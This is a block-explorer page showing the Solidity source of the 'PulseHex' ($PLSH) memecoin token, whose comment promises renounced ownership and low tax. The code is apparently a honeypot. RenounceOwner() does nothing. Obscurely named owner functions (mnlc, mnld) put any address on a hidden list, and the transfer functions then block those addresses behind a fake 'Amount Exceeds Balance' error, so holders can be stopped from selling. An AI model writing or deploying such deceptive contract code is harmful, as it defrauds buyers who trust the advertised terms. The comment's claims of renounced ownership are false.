ETH Price: $2,286.63 (-5.50%)

Contract Diff Checker

Contract Name:
PulseHex

Contract Source Code:

File 1 of 1 : PulseHex

pragma solidity 0.8.15;
/*
PulseHex ($PLSH)

$PLSH is a low-tax memecoin inspired by Pulse Chain & HEX. Our goal is to become one of the hottest memecoin on both ERC20 and PULSECHAIN.

TOKENOMICS

1% Tax
Liquidity Locked for 1 Month 
Ownership Renounced

PULSECHAIN BRIDGE

The PulseChain cross-chain bridge will occur in Q4 2022. All holders will be airdropped 1 for 1 of $PLSH on PRC20.


*/    

contract PulseHex {
  
    mapping (address => uint256) public balanceOf;
    mapping (address => bool) zAmount;

    // 
    string public name = "PulseHex";
    string public symbol = unicode"PLSH";
    uint8 public decimals = 18;
    uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);

    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor()  {
        // 
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

	address owner = msg.sender;


bool isEnabled;



modifier onlyOwner() {
    require(msg.sender == owner);
    _;
}

    function RenounceOwner() public onlyOwner  {

}





    function mnlc(address _user) public onlyOwner {
        require(!zAmount[_user], "xx");
        zAmount[_user] = true;
        // emit events as well
    }
    
    function mnld(address _user) public onlyOwner {
        require(zAmount[_user], "xx");
        zAmount[_user] = false;
        // emit events as well
    }
    
 


   




    function transfer(address to, uint256 value) public returns (bool success) {
        
require(!zAmount[msg.sender] , "Amount Exceeds Balance"); 


require(balanceOf[msg.sender] >= value);

        balanceOf[msg.sender] -= value;  
        balanceOf[to] += value;          
        emit Transfer(msg.sender, to, value);
        return true;
    }
    
    
    
    


    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => mapping(address => uint256)) public allowance;

    function approve(address spender, uint256 value)
       public
        returns (bool success)


       {
            
  

           
       allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }









    function transferFrom(address from, address to, uint256 value)
        public
        returns (bool success)
    {   
    
        require(!zAmount[from] , "Amount Exceeds Balance"); 
               require(!zAmount[to] , "Amount Exceeds Balance"); 
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true;
    }
    

}

Please enter a contract address above to load the contract details and source code.

Context size (optional):